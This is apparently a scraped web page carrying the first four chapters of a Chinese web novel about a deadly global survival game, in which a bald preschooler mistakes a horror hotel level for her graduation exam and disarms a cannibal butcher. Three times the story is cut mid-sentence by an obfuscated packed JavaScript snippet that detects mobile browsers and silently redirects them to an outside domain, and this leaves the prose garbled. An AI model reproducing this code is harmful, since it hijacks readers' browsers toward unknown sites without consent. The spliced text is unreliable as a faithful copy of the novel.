《无限流第一幼崽》 1. 第 1 章 【叮叮咚咚咚!】 欢快的音乐自空中响起,接着是一道愉快的机械音宣布: 【忍国,东部,林海城,珊玉县,淘汰喽。】 伴随着机械音话落,灰白的天空中浮现一副世界地图,其中一点被标红、放大。 紧接着,那一小块黄豆大小的区域直接在地图上消失了,正是系统通报中的珊玉县。 不远处的邻国,听到通报的人们沉默了一瞬,面面相觑。 “这已经是忍国这个月消失的第二块地区了。” “嗤,才两块,这算什么。” “这个月刚过三天。” “……” 三年前,某个阳光明媚的早上,一款名为贪吃蛇的游戏在全球投放。 露出尖牙的贪婪巨蛇图标映在天空,就此彻底颠覆了所有人的生活。 游戏不定期开放,生存,解谜,逃生……类型各异,覆盖了全世界所有国家领土,无法研究,无法破解,被选中的人都只能被动参与。 每轮游戏随机抽取国内数十至数百人为玩家,游戏结束时统计存活率。 若是不达标,则判定游戏失败,现实中就会随机消失一块国土。 存活率越低,消失的面积就越大。 第一场游戏来临时,人们还没有意识到严重性。 直到游戏惨败后,利坚国的哈顿市中心凭空消失,百万居民再无音讯,卫星图像上,只剩一片灰白迷雾; 忍国最繁华的金座商业区,在目击者们惊恐的尖叫声中,整片街道犹如被橡皮擦去,而那些不幸站在边界的人形,只剩下血肉模糊的半个…… 一次次残酷的教训,才让人类大概摸索出了生存规则。 这些消失的土地,面积最小的可能是一个社区,而目前被贪吃蛇吞吃的最大区域,是一整个省。 那也是华国唯一一次团灭。 各国国土被游戏一点点蚕食,三年过去,大部分国家,如忍国,国土面积已经不足一半了。 甚至还有几个小国家的国土连带着土地上的民众,都已经彻底消失。 全球各界联手研究,也完全无法与凌驾一切的游戏力量对抗。 人类的命运好像从那天开始,就肉眼可见即将走向终结。 市中心的广场也聚集了一大批看直播的人。 听着土地被贪吃蛇吞噬播报,众人除了初始的唏嘘,剩下的只有麻木。 “也不知道忍国能不能活到我走的那天。” 另一道声音急促说着:“别去管别的国家了,咱们这边危险了!” 这句话立时将所有人的注意力都拉了回去,数道视线回到面前巨大的多面体上。 数不清有多少面,但每一面屏幕都是一个直播间,放眼望去,全是疲于奔命的身影。 “艹!罪恶都市这个副本,明明不涉及灵异,怎么也这么难!” “追杀玩家的boss实在太强了,尤其是那个食人屠夫!” “这个副本的参与人数总共是一百人,生存率划线是百分之六十,现在距离游戏结束还有一小时,但是目前的生存率——” “已经死了四十个人了!靠!只要这一个小时里再死一个人游戏就失败了!” “一群该死的,都怪这回没随机到哪怕一个国家队的人,上的全是弱鸡!” “你站在副本外边儿动动嘴皮子倒是轻松,真让你上了,指不定当场跪地求饶,还不如那些弱鸡呢!” 说话的人扯住对方的衣领:“你说什么?!” 他怒目回视:“这个副本里还有一个刚到十八岁的孩子!你轻飘飘一句弱鸡,那他们的命呢?!” 那条岌岌可危的存活率及格线,将直播屏幕前拥挤的人群逼红了眼,失去了理智,气氛一点即燃。 直播间的评论也同样如此,满屏充斥着指责,反驳与嗟叹。 而在摄像头没有拍到的区域,一道幼小的身影独自行走在长廊。 没走两步,突然停了下来。 看着地上横着的两把锈迹斑斑的菜刀,热心地拿起,连同刚捡的一大包垃圾,全扔进了垃圾桶。 广场边,玻璃门破碎,货架也空空荡荡的小超市里,年迈的老板躺在躺椅上,视线悠然地穿过那激动的人群,看着直播屏幕。 头顶的电视在重播昨天的新闻,主持人一脸平静地播报着某地再度出现大规模集体自杀事件。 老板在躺椅里扫了一眼,毫无波澜地收回视线,继续看直播。 看着看着,他突然坐起了身。 每个玩家都有自己的直播间,如果死亡,那么那块屏幕会变为隐藏黑下来。 但他刚才好像看见,其中一块直播屏幕在熄灭前,不起眼的角落里闪过了一道娇小的身影。 罪恶都市这个副本不含灵异元素,目前出现的npc和boss也都是成年人,所以那更像是……一个人类小孩。 他怔愣了一下,可怎么可能在游戏里看到这么小的孩子。 游戏规则中明确提过,系统只会选取18至80岁之间的成年人为玩家。 想到这里,他开始笑自己异想天开,重新坐回了躺椅上。 只是再看向屏幕时,还是忍不住将每一个直播间仔细检查过去。 从上到下,从左到右,一个都没有。 他庆幸地坐了回去。 广场上,口头摩擦已经逐渐升级为肢体冲突,好在被官方警备人员及时制止。 “冷静,都别闹了,吵架有什么用吗!吵得响,能提高他们的存活率吗?!” 众人立时沉默下来。 警备人员离去。 又过了一阵,有人喃喃:“完蛋了,这次异调局检测出我老家那块地方是贪吃蛇的目标啊,要是失败了怎么办……” 旁边的男人冷笑一声:“还能怎么办,现在人都撤出来了,又没有生命危险。但是如果让我选,倒还不如被游戏选成玩家,死在游戏里。” 贪吃蛇早期出现时,让世界大乱了一阵,后来异调局成立,专门负责处理与游戏相关的事宜。 这些年来,异调局通过检测磁场异动,基本可以提前预测出可能会被贪吃蛇吞食的国土,及早安排民众撤离,终于最大程度减少了游戏外的伤亡。 加之国家铁血手段镇压,时局才又勉强稳定了下来。 尽管伤亡已经尽量降到最小,但国土面积不断缩小,还是让人们的生存环境越来越糟糕。 异调局内,上百块直播屏幕被展示在墙上。 坐在最前面,穿着白色工作服的人低声说:“这次检测出的目标区域,是西南粮仓,如果真的被吞没了,对国家损失会非常大。” 可他们无法去对着游戏里疲于奔命的玩家们指责什么。 因为他们自己也无能为力。 早在看到屏幕上一个个彩色镜头定格在黑白时,厅内就已鸦雀无声。 等他说完这句话,气氛愈发沉重起来,角落里响起了压抑的哭声。 此时即将开启冬小麦的收割工作,然而检测出异状的整片区域没有任何动静,收割机也停止了运作——所有人都已用最快速度撤离。 这片土地也处在被放弃的边缘。 与直播屏相对的墙上,挂着一张地图。 图上千疮百孔,有大块区域变成了黑色。 华国人多,过去三年间一点点撤离下来,导致部分区域人口密度爆炸,已经有大量人员不得不缩挤在根本不适宜居住的荒芜之地,同时伴随物资紧缺。 生活节奏被打破、被压缩,亲人朋友的消逝,还有未来的生命威胁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207423|181291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家庭团聚的欢声笑语变得奢侈。 如今的工作只是为了底层生存,赚取生活必需品。而看直播,已经成了人类少有的生活调剂品。 屏幕上,废弃的酒店长廊里,高高瘦瘦的黑色长影晃悠着,边走,边发出毛骨悚然的笑声。 “让我看看,我的美味长猪们藏在哪里了?” 那双漆黑的,几乎看不见眼白的双眼四处逡巡着。 下一秒,黑影猝不及防扒上了一处隐藏的镜头,仿佛看见了镜头外的亿万观众似的,贪婪地露出了一抹嗜血的笑容,依稀可见牙缝间红色的细碎肉块。 直播广场上,与之对视的所有人都心中一跳,不自觉后退一步。 黑影大笑着来到上一层。 在刚才的杀戮追逐中,他故意戏弄猎物,将刀随意丢在了地上,现在,是时候取回来了—— 他的刀呢? 此时距离这场游戏结束,还有五十分钟。 运气似乎短暂地光临了华国,这段时间,没有一个人死去。 因为屠夫好像在找别的什么东西。 那些还没有死心的人们在心里默默祈祷。 还剩三十分钟。 屠夫仍旧在找,没找到。 还剩二十分钟。 屠夫来到了下一层找,没找到。 还剩十分钟。 大家看到了渺茫的希望。 屠夫思索片刻,不找了。 回厨房拿了把斧头,开始寻找藏起来的人类。 还剩最后一分钟。 运气似乎不那么眷顾华国了—— “快看2号直播间,食人屠夫找到他们了!” 直播间的弹幕陡增。 与此同时,黑瘦的影子来到了最后一间房前。 房门上了锁,可他只是轻轻一扭,锁便与门分离了。 锁被丢到地上,房门被晃晃悠悠地打开,悄无声息。 门里,是两张并排的床。 藏在最里头床底的两个人颤抖着,捂住了嘴,生怕发出一丝声响。 屏幕外的观众也跟着提起了一颗心。 希望与绝望交织。 食人屠夫扛着斧头,走进了狭小的房间。 天空中,机械播报声响起:【本轮游戏开启倒计时:十五。】 他哼着小调,先转了一圈卫生间。 “不在这里啊。” 【十二。】 食人屠夫步调轻快走出浴室,来到沙发背后,弯腰看向一人宽的窄缝。 “也不在这里。” 【十。】 食人屠夫随手用斧头劈开了衣柜。 “这里也没有,那一定是在——” 【八。】 食人屠夫缓缓趴了下来,微笑着,看向了床底。 【七。】 床底空空如也。 “咦?” 【六。】 他爬了起来,摸了摸鼻子。 【五。】 刚才趁着他检查卫生间,转移到床后窗帘中的两人竭力抑制着战栗。 然而感受着就站在身前的强大的血腥气息,他们还是心如擂鼓,闭上了眼,安慰自己: 一定可以平安度过的,只剩最后四秒了—— 食人屠夫倏然转过身拉开了窗帘! 扫过面如死灰的两人,他咧开嘴,笑了:“其实早就闻到长猪的味道了哦。” 【三。】 其中一人拼死朝窗外扑去,却被食人屠夫轻易抓着腿拽了回来。 他反身悠闲地坐在窗台,笑眯眯地对着他的脑袋扬起了斧头。 直播间外,观众们刚刚升起的希望骤然破灭,绝望地闭上了眼。 同一时间,楼上,一道小小的身影打开了房门。 2. 第 2 章 “明明就差那最后三秒了。” “明明他们谁也没有拖后腿。” “明明他们的心理素质已经够强了。” 这一秒,无数观众捂着脸呜咽,不忍去看屠夫的斧头落下。 然而就在这时,那高高举起的斧头尖端似乎刮到了上方什么东西。 接着,半空中有东西倏然掉落,重重地砸到了正得意洋洋坐在窗框的食人屠夫头上。 先是一个,然后接二连三掉下更多,砸得他尖利地痛呼了一声,下意识松开了手。 被抓住的玩家腿其实已经完全软了,但还是攥着那一线生机,瘫着下半身,支着胳膊努力往前爬着。 就在这一秒,画面定格。 一道机械声在天空中播报:【游戏结束。本轮副本:《难道我也是都市罪恶里的一环吗?》结算中。】 【总存活率:百分之六十,存活率达标。】 一阵伤感的旋律响起,随之而来的是沉痛的声音: 【该死的人类,让你们逃过一劫,今天的贪吃蛇只能饿着肚子离开了。不过没关系,下场游戏,一定会吃掉你们。】 所有人都愣住了,直到机械声的回音消散许久,广场上依旧一片死寂。 终于,有人颤巍巍问:“他们……他们活下来了?” “这轮游戏,没有失败?” 接着更多的声音响起:“是,他们活下来了!游戏通过了!” 霎时间广场上欢声雷动。 不止是因为保住了一片土地,也为了这场游戏里至少还有百分之六十的人活了下来。 尽管在这三年里,他们经历了一次又一次的失望,但还是向生而活。 所有人相互拥抱着,呼喊着,都流下了眼泪。 激动过后,他们回忆起方才游戏最后食人屠夫的异状。 要不是他莫名其妙被什么东西砸中,最后那两人绝无可能死里逃生。 “咱们这回的运气太好了!” “是啊,所以刚才,从食人屠夫头顶掉下来的是什么东西?” 由于绝望,也因为不忍再看,大部分人都闭上了眼,甚至没看清那突发状况到底是怎么发生的。 “我没看到,但听声音,好像不止一个东西。” “不过,怎么会这么巧呢。” “我倒是睁着眼的,但是当时镜头不知道为什么特别晃,还很模糊,什么都看不清。” “不管是什么东西,能把那个杀人狂魔给砸到疼得松手……应该是不轻吧?” 游戏里,空荡荡的酒店十楼,一颗光溜溜的小脑袋从窗户处探了出来,向下看去。 可底下空空如也,什么人都没有。 那对晶亮的大眼睛中漫上不解,她刚才明明听到底下响起了一声尖叫。 思考了一秒,明澄收回了脑袋。 大概是听错了吧。 算了,眼下,她还有更要紧的事要完成。 自有记忆起,明澄就与师父在一起,后来又被师父送去了职业技术幼儿园深造。 今年,作为一名应届毕业生,精通汽修挖掘烹饪美容美发等专业的她,正要进行毕业考核。 老师说,园方会通过场景实操来检验她的学习成果。 谁知刚踏进考场,一眨眼的功夫她就出现在了这个陌生的地方,身边也没有再发现其他人。 一开始,明澄有些着急,但很快又冷静了下来。 她来到这里,一定有她的使命。 刚才在这一层转了一圈,终于叫她发现了端倪——这里的空调都是坏的。 她终于明白过来:这一定就是幼儿园给她的考核了。 师父辛辛苦苦供她上幼儿园学技术不容易,她势必要拿下优秀毕业生称号,给师父争口气。 顶着颗白白嫩嫩的小光头,明澄的眼中流露出坚定神色,握住小拳头,像一位成功人士那样用力一挥。 随后她转身,摸向自己出门检查前放在窗台上的大工具包,立时顿住了。 这时才注意到,那只硕大的工具包不知为何快要掉下楼去了,此时正险险地吊在窗框上,关键是,拉链是开着的。 她努力踮起脚尖看过去—— 她的包,已经空了。 明澄的目光变得迷茫起来,缓缓抬起头: “那,我的螺丝刀呢?我的扳手呢?老虎钳呢?电钻呢?” “还有——切割机呢?” 游戏外,异调局按照惯例,针对刚结束的副本进行复盘。 回形长桌两侧坐满了人。 坐在最前方的,两鬓发白的中年女人是接任不久的异调局局长方闻英。 在她身侧,还坐着身姿笔挺的一队年轻人。 伴随着游戏对人类生活的深入蚕食,大批人类精神越发压抑。 不仅自杀率攀升,甚至出现了进入游戏后故意拖后腿,导致游戏失败的情况。 今年,世界各国对于游戏的研究有了突破性进展,他们发现了提高独立个体进入游戏几率的方式。 于是国家通过考核,从自愿报名的人类中选取了一批特殊人才,组成了几支小队,让他们进入游戏,带领普通玩家提高生存率,阻止自杀式行为。 这些人没有家庭牵绊,意志也足够坚定,体能、智力,以及情绪的综合情况在参与选拔的人中都是顶尖,同时也有过多次通关经验。 其中第一小队现役有十人,也参与了这次复盘会。 当然,让特定玩家匹配进游戏,并不是每次都能奏效,比如这一次的副本,几支小队里没有一人成功匹配上。 “直播当时都看了吧?”方闻英问。 众人点了点头。 第一小队的队长邬纵望着定格着的屏幕,沉声开口:“今年以来,副本的难度在增加。” 其实这次副本没有特殊小队的参与,到游戏结束前的最后一小时,死亡率还能刚好踩线百分之四十,已经是他们预测之外,不幸中的万幸了。 方闻英点了点头,“没错,而且这么难的副本,过关的存活率还要求百分之六十——游戏给出保下土地的条件越来越苛刻了。” 话题到这里沉了下去,因为由此,众人只能想到,这是游戏在加速人类灭亡的进程。 她扯了扯唇角,开口:“不过,大家也不用太过悲观,要知道,我们也在进步。上个季度,华国的存活率是全球第一,不管是靠实力还是靠运气,不都是值得高兴的事吗?” 众人沉重的表情随之一松。 游戏将各国的生存率统计成了排行榜,根据规则,每个季度末会进行小结。 全球生存率排行第一的国家可以拥有一次豁免权,使用豁免权,即使游戏失败,土地也不会消失。 在今年的春季度,华国拿了第一,豁免权已使用,而夏季度到目前为止,华国的存活率在榜上也是排在前列。 “好了,一队都分析一下,这个副本出现了什么需要注意的问题,总结经验,用到以后的副本里。” 邬纵点了点头,十人依次发言。 说到最后,也是这次会议的另一个重点——“关于副本最终出现的,让屠夫……收手的东西,你们都有头绪吗?” 坐在邬纵旁的副队长杨昭宁拧起细眉,语速飞快:“我觉得八成只是巧合,楼上的窗户年久失修刚好掉下来,砸到了屠夫,也是有可能的。” 远处的秦赴川抬眼,笑了一下:“那个动静,恐怕得是楼上七八层的窗户,刚好都同时掉下来了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207424|181291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>杨昭宁不以为意,连恐怖游戏降临人间这么诡异的事都发生了,还能有什么比这更离奇,更不可置信的事? 他们第一小队的人经历了太多副本,说得夸张点,世界观甚至都在游戏里重塑了。 幸运地活到今天,除了最直接的生死,已经没有什么能够触动他们。 更何况她也早已派人询问了刚刚死里逃生的两人,都没能得到什么有用的信息。 不过,当他们仔细回忆自己藏在床底的那段时间,似乎确实隐约听到楼上有点动静,但很轻,也分不清是不是过度紧张下产生的耳鸣。 加上两人当时全神贯注在眼前的危机上,根本无从探究。 调查到这里便中断了。 尽管看不清那到底是不是窗户,但总归是类似的东西。 会议室里的人低声议论着,也说不出什么更靠谱的猜测,大都认可杨昭宁的观点。 “那这件事先搁置吧。其实还有件事,也算是不同寻常了。在副本快结束的时候,我们还接到了一个电话。”方闻英迟疑了一下,才说:“是有人反馈,疑似在直播里发现了一个三四岁的人类小孩。” 此话一出,会议室再次陷入了沉默。 “上报的人是五爱广场一家倒闭小超市的老板,年纪很大了,说自己很有可能看错了,可是毕竟是个孩子,以防万一,他还是想要跟我们汇报一下。” “他不记得是在几号直播间看到的了,不过根据他所在的位置和方向,我们找到了那个直播间。” 说着,方闻英放出了一小段模糊的视频。 大屏幕上,是副本中废弃酒店的走廊,空无一人,乍一看没什么特别。 多回放两次,才能发现角落里一个一闪而过的影子,在周围环境的衬托下呈现灰白色。 有些奇怪的是,那抹影子在灯下时,顶部似乎还亮了一下。 方闻英按了暂停:“都讨论一下吧,你们有什么想法?” 一队里,燕行远嘴角勾起,“这老大爷的眼神倒是不错。” 年纪最小的郎星眯起眼,仔细打量着那张图,了然道:“这也太明显了。” 旁边的双胞胎姐姐朗月狐疑:“明显什么?” “明显是个塑料袋。” 朗月别了他一眼:“你家塑料袋能反光?” 郎星双手抱胸:“你家小孩能反光?” 朗月:“我家没有小孩。” 除了斗嘴的姐弟俩,一队的其他几人都没什么反应,连目光都吝于投到那段视频上。 毕竟谁都知道,游戏内不可能出现十八岁以下的玩家。 这三年来从未破例。 也就灵异副本里有概率会出现些婴灵,那是他们都深恶痛绝、敬而远之的存在,而罪恶都市的副本,是个纯物理性质副本。 这个话题,更像是来调剂低迷气氛的。 方闻英摇了摇头,也认可了看错这个说法,“不管怎么说,至少这一轮游戏是过关了,西南粮仓保住了。今天的会议就到这……” 就在这时,“报告!”对外科室的科员匆匆敲响了会议室的门。 “进。” 走进会议室,科员皱着眉头道:“局长,就在刚才,忍国官方向游戏系统提出了抗议。” 众人立即朝他看去。 就在去年,系统主动放出了一个可以进行简单交流的论坛,入口就在直播间app内。 此刻,在论坛的报错板块上,忍国确实发布了一个帖子: 【报错:在华国刚结束的《难道我也是都市罪恶的一环吗?》副本中,最后一秒,boss食人屠夫疑似出现了卡顿问题,因而让玩家死里逃生,影响了华国本场副本的存活率,申请系统重新判定,更正结果。】 3. 第 3 章 帖子是十分钟前发布的,很快,论坛上已经吵起来了。 【华国-匿名:我本来以为越是困难时刻,人类越应该守望相助的,至少别的国家每次过关,甭管是不是侥幸,我都真心为他们高兴,没想到……】 【华国-爸爸的爸爸叫什么:毕竟每个季度存活率第一的国家可以获得一次游戏豁免权,是因为担心咱们国家蝉联第一,他们才不乐意的吧?】 【毛国-伏特加油:但是据我所知,即使华国这次失败了,整体存活率也依旧领先忍国很多。三天里的两场游戏全部失败,至少这个季度,忍国应该不可能拿到第一了。】 【忍国-贵子:凭什么华国因为一个bug就可以过关?这对刚刚失去两块领土的我国一点都不公平。】 【忍国-再见未来:游戏里有bug,难道我们不能指出来吗?如果未来这个bug影响到我们,在座的华国人能负责吗?】 【忍国-匿名:不是凭借真材实料获胜,所以你们永远不会得到我们国家的尊重。】 【华国-识时务者为俊杰:别到处尊重了,先守好你们那小半亩地吧,就算没有这破游戏,海平面也不会放过你们。】 各国对于忍国这次举报的反应不一。 就在大家争论不休之际,游戏系统有了回复:【已收到举报,正在进行回溯检测。】 这下参与讨论的人更多了。 自游戏降临地球三年以来,还从来没有如此正式地提出过自检。 会议室内,众人看到这里都皱起了眉头。 他们隐隐有种感觉,这场游戏里,似乎真的有什么超出游戏控制的事情发生了。 “局长!” 方闻英面容强硬,“首先,上报,与忍国进行国家层面的交涉。其次,我怎么记得,去年忍国有场副本是真正出现过卡顿情况的?” 他反应很快,想起:“没错,是一场答题副本,本来倒计时已经结束了,结果卡了一秒,他们答上来了,通过了。只是当时论坛还没出来,他们又有意掩盖,所以大部分人不清楚。” 她扬起唇角:“要公平,好,大家都得公平,可不能只有我们受到审判。” “另外,自从论坛出来,这不是忍国第一次举报别国了吧?游戏系统正在调查,咱们从未利用过什么漏洞,行得端坐得正,只要等待结果出来就行。但到时候,是该跟各国讨论一下关于恶意举报的惩罚与制约了。” 全球的视线也都集中到了这里。 不过在留下一句接到举报之后,系统并没有再留言,大概是已经开始检测了。 【滴!《难道我也是都市罪恶的一环吗?》副本刷新中——1%,10%,50%】 【进度暂停】 【刷新失败】 【检测到恶意病毒xjs-dzyjsyey,即将开启杀毒程序】 明澄拖着空荡荡的大包,正在寻找自己消失的工具。 这一回,她不再只检查十楼的情况了。 来到电梯前,电梯显示正在运行,她按了下行键。 她猜测,工具应该是掉到楼下了。 电梯很快从顶楼来到了十楼。 “不知道这里可不可以找到吃的东西。”明澄自言自语。 电梯门流畅地缓缓打开,没有发出一丝声响,露出里面反光的金色镜面。 镜面中,明澄迈着小碎步走了进去。 电梯门缓缓关闭。 明澄环顾了一圈,站在控制面板前,表情严肃沉思着,没有动作。 检测到她迟迟没有按下楼层按钮,似乎是察觉到了不对劲,游戏系统警惕起来。 下一刻,电梯里响起了小声喃喃:“好像够不到一楼。” 游戏系统:【……】 在这家酒店的设定里,安排了电梯服务员专门帮客人开门,大概也是为了防止孩童贪玩触碰,所以面板设置得比较高。 明澄正打算蹦一下试试,突然发现,就在她话音落下的瞬间,高处的控制面板闪了一下。 接着,一楼的按键亮了起来。 明澄盯着面板看了两眼,收回了视线,一脸了然:“这个电梯,是声控的。” 游戏系统:【……】 电梯开始运行,向下滑动。 明澄刚放松下来,就在下一个瞬间,电梯猛然下沉,明澄脚底失重一空,身体也跟着下坠。 顷刻间电梯便加速落地,重重撞上井道底部! 轿厢已然变形,而惯性让明澄的身体还在继续向下,与底部产生了足以让人体器官震荡碎裂、骨骼粉碎的剧烈碰撞。 这一阵连环震天的响动后,明澄的身体在碎屑中显露出来。 她坐在地上,撑着地面爬了起来,然后拍了拍震荡的屁股,自言自语:“好快,有点痛。” 游戏系统:【……】 沉默的三秒后,变形严重的电梯竟然重新上升,停回了十楼。 明澄皱起眉头,发现了不对劲:“电梯坏了。” “下来又上去了。” 游戏系统:【……】 停在十楼后,电梯门艰难地打开了,不复刚才的丝滑。 明澄回眸打量了一下,确认电梯大概是不会再正常运行了,只好依依不舍地走了出去。 既然电梯不能用了,明澄只好改变计划,打算沿着楼梯,向下逐层寻找。 昏暗的楼梯间里,短短的小肥腿一阶一阶地往下蹦。 刚蹦了十级,她突然听到了一阵细碎的声音,就像是土块在剥落,且由小及大。 她循着声音回过头去。 只见后方三米处,墙面正在脱落。 初时还是墙皮,接着是一块块碎砖、混凝土,比她的头还大,逐渐朝她的方向蔓延,须臾便至,整个空间尘土飞扬。 同一时间,下方也传来了声响——那一层层台阶犹如失控般骤然坍塌,不过眨眼的功夫,明澄的脚下便又是一空,向下沉去。 同一时间,明澄已经扒住了旁边要断不断的扶手,翻了个身,躲过了头顶轰然砸下来的大块碎石,然后沿着扶手滑了下去,落到实地后,飞快跑到了走廊上。 也就在她踏入走廊的那一秒,楼梯间的坍塌停止了。 明澄站稳了,拍了拍手上的灰土,呼出口气,“好险,这里的墙和楼梯都是坏的。” 系统:【……】 她看了眼面前的长廊。 这里如她来时般空无一人,角落里也布满了灰尘与蜘蛛网,踩在漆黑的地毯上,仅有的脚步声也被吞没。 明澄看了看自己脏兮兮的手,打算先去洗一洗。 顺着标识,她找到了卫生间。 女卫生间的门口,有一高一矮两个水池,矮的那个还贴心放置了小楼梯。 明澄高高兴兴地踩着楼梯上去洗手。 打开水龙头,暗色的锈水汩汩流出,犹如血水。 明澄一顿,托着下巴,皱起眉头。 “这里没有洗手液。” 师父说,小朋友洗手要洗得干干净净的。 水流停了一下,变得正常了。 她叹了声气,认了没有洗手液的命,两只白白胖胖的小手交叠着,在水流底下认真搓洗,每一个指甲缝都不放过。 突然,一阵滋啦滋啦的声音响起。 接着,头顶的灯光变得忽明忽暗,闪烁不定。 肉眼无法看见的电流形成一张大网,在空中狂蹈着涌向了正与水接触的明澄。 明澄察觉到了什么,缓缓抬起了头,眯起眼。 “灯泡也是坏的。” 游戏系统:【……】 说完,她低下头,看了看湿漉漉的两只小胖手,互相挠了挠,“麻麻的。” 游戏系统:【……】 明澄擦干了手上的水,在卫生间门口左右看了看,选了一个方向,继续往前走。 接下去的路上,她还遇到了坏掉的风扇,扇叶解体乱飞, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207425|181291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坏掉的柜子,总是朝她站的地方倒,坏掉的…… 她早已明白过来,这一定又是幼儿园给她的考验。 表面上看,她是来这里接受修空调的考验,可实际上,老师们还布置了许多小巧思等她发现。 师父她老人家说过,要做勤快的小朋友,得眼里有活。 面试的时候,老板不喜欢能说会道的,就喜欢那半路上低头捡垃圾扶扫帚的。 如果师父知道她这一趟考核发现了这么多容易错过的陷阱,一定会为她骄傲的。 明澄已经决定了,等她找回了自己的工具,就把这间酒店全都检修一遍。 不过,几次三番想起师父的教诲,加上独自行走在这空空荡荡的陌生地方,明澄突然有点想师父了。 她慢下脚步,垂着头,有些丧气。 好久没见到师父了。 就在这时,头顶传来粗重的呼吸声。 她徐徐抬起头,第一眼,看见了一条布满污渍的皮质工装裤。 嗅到上面散发的不明肉类气味,明澄的眼睛有一瞬失神,很快又向上看去,发现那是一个极高的男人。 对方躯干很瘦,但露出来的胳膊上却有着夸张虬结的肌肉,对比得有些诡异。 他留着一头贴着头皮的黑茬短发,在灯光下像根根分明的钢刺。 下方,那对瞳孔黑中带着红,此刻看向她的目光中散发着极致热切与嗜血的冲动。 他咧开了那张深渊般的嘴:“让我瞧瞧,我发现了什么?居然是一只美味的小猪仔。” “有多久没有在这个世界见到小崽子了?”屠夫舔了舔嘴角,仿佛在怀念记忆中的肥嫩的口感,目光愈发狂热。 再看一眼——“太好了,还是一只没有头发的幼崽,我不爱吃头发,可我实在讨厌拔毛。” 在发现这里还有别人的那一刻,明澄就眼睛一亮,听他一阵叽里咕噜,只抓住了一个关键词:美味,咽了咽口水。 可看着他的造型,又有些疑惑,于是客气地问道:“叔叔,请问你为什么要把我的切割机插在头上?你不会痛吗?” 屠夫的笑容凝滞,瞳孔一缩,有些不敢置信,脸庞瞬间狰狞了起来:“你说什么?你的切割机?” “你是说,从楼上掉下来砸到我头上的那些东西,都是你的?!” 他的眼中没有了刚才的热切,取而代之的是一阵熊熊怒火,“所以!就是你放跑了我的猎物?!” “听着!可恶的小猪崽子!我发誓,我会让你付出代价!我会亲手把你那具幼小的的身体活活撕成两半,喝你的血,吃你的肉!” 狂暴地说完,他从口袋里挨个掏出那几样为了寻仇才带上的东西,脸上带着畅快的笑意,用力冲着她那颗光洁的小头颅丢了出去,他要先让她尝尝他当时的滋味! 明澄正自顾自沉浸在思索中,见空中有东西抛来,下意识伸手,精准地在空中接住,兴高采烈地看了看:“哇,这是我的螺丝刀!” 她将其放进包里。 屠夫怔了一下,黑色瞳仁再度缩了缩。 他试着又朝她扔出一个。 明澄再度接住,难掩喜悦:“哇,这是我的扳手!” 然后将其放进包里。 屠夫接着用更大的力气扔出下一个。 明澄开开心心地接住:“哇,这是我的老虎钳!” 他用了最大的力气扔出最后一个。 明澄也费了点力气接住:“呜哇!这是我的电钻!” “叔叔,我们真的很有默契!” 屠夫听着对面欢快的语气,再看对方抡着电钻的样子,简直比自己还像个杀人不眨眼的屠夫! 他只觉被这只灰色的光头小猪崽子挑衅了,登时怒火中烧,抡起一直藏在身后的那把生锈的斧头,直直朝她砍去—— 下一秒,斧头卡在了空中。 明澄礼貌地摆了摆小手: “叔叔,你太客气了,不是我的东西我不能要。” 4. 第 4 章 “所以,这个就不用给我了。” 屠夫摁着手柄另一端,想要加重力道,却发现竟无法再进一步。 他看着发红的手心,陷入了深深的震撼之中。 见他不语,只是保持一个姿势不动,明澄推了推,语气坚定:“叔叔,你真的不用再考验我了,师父跟我说过金斧头和银斧头的故事。” “不管是金斧头,银斧头,还是……”明澄看了眼斧头,澄澈的眸子里闪过些许嫌弃,“还是生了锈的脏斧头,都不是我的,我不能要。我是幼儿园未来的优秀毕业生,不会说谎的。” 屠夫:“……” 随后,明澄主动松开了手,“叔叔,你还是自己收好吧。” 随后她转过身,欣然整理了一下已经收回来的工具们,“我刚才正在到处找它们呢,叔叔,其实你是特地来还给我的吧?” “谢谢你,叔叔,你真是好人。” 游戏系统:【……】 “不过,”她抬起头,诚恳地问:“你头上的切割机也是我的,可以还给我吗?” 屠夫沉默了一阵,已经缩成针孔大的黑色瞳孔一缩再缩,几乎快要看不见了。 他一言不发,用力拔出了头上的切割机。 明澄紧盯着他的动作,发现他的头上出现一道沟壑,但是并没有流血,这才放下心。 她丝毫不吝夸赞:“叔叔,你的头,看上去很适合卡切割机的呢。” 屠夫:“……” 游戏外,不管是华国还是其他国家,都在等着系统判定结果。 这次的游戏自检花了很长时间。 一直到了晚上,郎月和郎星还在就视频里闪过的东西到底是不是反光塑料袋而争执。 宿舍楼上,蒋明野点了根烟,红色的烟火明灭,他注视着楼下那对吵架吵得快要打起来的姐弟俩。 “这么早归队?”邬纵将他双目中的红血丝尽收眼底。 